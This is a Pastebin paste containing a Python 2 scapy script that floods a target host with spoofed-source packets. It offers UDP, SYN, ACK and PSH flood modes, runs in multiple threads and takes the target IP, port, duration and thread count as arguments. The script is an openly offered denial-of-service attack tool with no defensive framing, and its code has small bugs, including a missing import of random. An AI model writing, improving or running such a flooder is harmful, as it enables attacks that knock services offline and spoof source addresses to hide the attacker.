Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import string
- import threading
- import Queue
- from scapy.all import *
- #################### List & Variables ###################################
- spoofedip = []
- dos = ""
- count = 0
- #################### IP generator function ###################
- def ip_gen():
- i = 1
- spoof_ip = ""
- while i != 5:
- rnd = random.randint(0, 255)
- spoof_ip = str(spoof_ip) + str(rnd)
- if i != 4:
- spoof_ip = str(spoof_ip) + "."
- i = i + 1
- return str(spoof_ip)
- #################### Attack function ########################
- def attack(dos, count):
- while(count != int(sys.argv[4])*20):
- ip = ip_gen()
- if ip not in spoofedip:
- spoofedip.append(ip)
- ip_pck = IP(src=ip, dst=sys.argv[2])
- pck = ip_pck/dos
- send(pck, count=1, verbose=0)
- count += 1
- print "Terminated"
- ######################## Main ###############################
- if len(sys.argv) < 6:
- print "Usage: %s [Type of flood] [ip] [port] [time] [Number of thread]" % (sys.argv[0])
- print "Type of flood: UDP ,SYN, ACK or PSH\n"
- sys.exit()
- if string.lower(sys.argv[1]) == "udp":
- dos = UDP(sport=random.randint(1,65535),dport=int(sys.argv[3]), len=1024)
- elif string.lower(sys.argv[1]) == "syn":
- dos = TCP(sport=random.randint(1,65535),dport=int(sys.argv[3]), flags="S")
- elif string.lower(sys.argv[1]) == "ack":
- dos = TCP(sport=random.randint(1,65535),dport=int(sys.argv[3]), flags="A")
- elif string.lower(sys.argv[1]) == "push":
- dos = TCP(sport=random.randint(1,65535),dport=int(sys.argv[3]), flags="P")
- else:
- print 'Type of flood "' + sys.argv[1] + '"' + " Non reconnu"
- sys.exit()
- try:
- for i in xrange(0,int(sys.argv[5])):
- print "Thread " + str(i) + " started"
- t = threading.Thread(target=attack, args=(dos,count))
- t.daemon = True
- t.start()
- q = Queue.Queue()
- s = q.get()
- print s
- except KeyboardInterrupt, e:
- print "\n\nScript execution finished!"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement